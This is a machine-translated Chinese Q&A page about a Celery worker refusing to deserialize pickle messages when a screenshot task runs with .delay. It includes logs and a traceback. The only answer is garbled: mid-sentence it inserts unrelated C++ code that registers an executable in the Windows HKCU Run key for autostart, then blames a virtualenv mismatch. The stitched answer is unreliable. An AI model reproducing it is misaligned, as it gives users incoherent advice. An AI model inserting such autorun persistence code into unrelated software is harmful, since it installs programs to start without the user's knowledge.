我在tasks.py
中有一个简单的功能,它使用CutyCapt和xvfb-run截取网页的屏幕截图。屏幕截图被视为输入OS
python库的命令。我还有一个名为call.py
的脚本调用该函数。
当我从call.py
(它访问网页,截取屏幕截图并将其保存在本地文件夹中)作为常规功能运行时,此功能非常有效,但是当我添加.delay
时它在芹菜中运行,我收到以下错误:
[2016-12-21 13:17:52,649: INFO/MainProcess] Connected to amqp://*******************************
[2016-12-21 13:17:52,851: INFO/MainProcess] mingle: searching for neighbors
[2016-12-21 13:17:54,665: INFO/MainProcess] mingle: all alone
[2016-12-21 13:17:55,469: INFO/MainProcess] celery@myubuntucomputer ready.
[2016-12-21 13:18:01,470: CRITICAL/MainProcess] Can't decode message body: ContentDisallowed(u'Refusing to deserialize untrusted content of type pickle (application/x-python-serialize)',) [type:'application/x-python-serialize' encoding:'binary' headers:{}]
body: '\x80\x02}q\x01(U\x07expiresq\x02NU\x03utcq\x03\x88U\x04argsq\x04U http://www.reddit.com/q\x05\x85q\x06U\x05chordq\x07NU\tcallbacksq\x08NU\x08errbacksq\tNU\x07tasksetq\nNU\x02idq\x0bU$518f96eb-e132-4261-984b-255fcb5b2252q\x0cU\x07retriesq\rK\x00U\x04taskq\x0eU\x15tasks.take_screenshotq\x0fU\ttimelimitq\x10NN\x86U\x03etaq\x11NU\x06kwargsq\x12}q\x13U\nserializerq\x14U\x06pickleq\x15su.' (278b)
Traceback (most recent call last):
File "/usr/local/Desktop/celery/venv/local/lib/python2.7/site-packages/celery/worker/consumer/consumer.py", line 551, in on_task_received
payload = message.decode()
File "/usr/local/Desktop/celery/venv/local/lib/python2.7/site-packages/kombu/message.py", line 192, in decode
self._decoded_cache = self._decode()
File "/usr/local/Desktop/celery/venv/local/lib/python2.7/site-packages/kombu/message.py", line 197, in _decode
self.content_encoding, accept=self.accept)
File "/usr/local/Desktop/celery/venv/local/lib/python2.7/site-packages/kombu/serialization.py", line 253, in loads
raise self._for_untrusted_content(content_type, 'untrusted')
ContentDisallowed: Refusing to deserialize untrusted content of type pickle (application/x-python-serialize)
我目前没有在我的代码中调用/设置任何反序列化首选项。
当我在其上运行该功能时,我得到的典型输出(如果它正在工作)看起来像:
QFont::setPixelSize: Pixel size <= 0 (0)
QFont::setPixelSize: Pixel size <= 0 (0)
QFont::setPixelSize: Pixel size <= 0 (0)
QFont::setPixelSize: Pixel size <= 0 (0)
我想知道这个输出是不是问题...我试图隐藏截屏命令的任何错误输出,但cutycapt仍然会抛出相同的反序列化错误。 tasks.py
中的其他函数不会抛出相同的错误。有什么想法吗?
答案 0 :(得分:0)
此错误是由于在virtualenv中打开芹菜任务文件std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe";
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
引起的,但是在未正确安装芹菜的virtualenv之外运行主tasks.py
。